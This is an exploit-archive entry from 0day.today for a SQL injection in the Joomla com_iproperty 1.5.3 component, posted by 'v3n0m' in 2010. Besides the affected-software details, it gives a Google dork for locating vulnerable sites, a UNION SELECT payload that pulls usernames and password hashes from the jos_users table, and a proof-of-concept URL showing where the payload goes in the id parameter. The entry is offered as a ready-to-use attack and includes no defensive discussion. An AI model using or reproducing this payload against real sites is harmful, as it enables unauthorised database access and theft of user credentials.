Joomla Component com_iproperty 1.5.3 (id) SQL Injection Vulnerability

2010-04-15T00:00:00
ID 1337DAY-ID-11820
Type zdt
Reporter v3n0m
Modified 2010-04-15T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            =====================================================================
Joomla Component com_iproperty 1.5.3 (id) SQL Injection Vulnerability
=====================================================================

     )   )            )                     (   (         (   (    (       )     )
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /(
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ /
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' < 
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
                                        .WEB.ID
-----------------------------------------------------------------------
 Joomla Component com_iproperty 1.5.3 (id) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author      : v3n0m
Site        : http://yogyacarderlink.web.id/
Date        : April, 15-2010
Location    : Jakarta, Indonesia
Time Zone   : GMT +7:00
----------------------------------------------------------------
 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : Thinkery Intellectual Property
Vendor      : http://iproperty.thethinkery.net/
Price       : $225 USD
Version     : 1.5.3 Other versions may also be affected
Google Dork : inurl:com_iproperty
 
Intellectual Property allows independent real estate agents, brokers, or property
management companies to upload and maintain property listings for sale, for rent and for lease.
Upload photos, add categories, sub-categories, agent profiles, company profiles.
Search with an advanced Google Map-Ajax-based map interface. Allow users to save and
manage favorite properties. Quickly customize colors, filters, galleries and more!
----------------------------------------------------------------
 
Exploitz:
~~~~~~~
 
-999999/**/union/**/all/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--
 
 
SQLi p0c:
~~~~~~~
 
http://127.0.0.1/[path]/index.php?option=com_iproperty&view=agentproperties&id=[elich4]
----------------------------------------------------------------



#  0day.today [2018-04-13]  #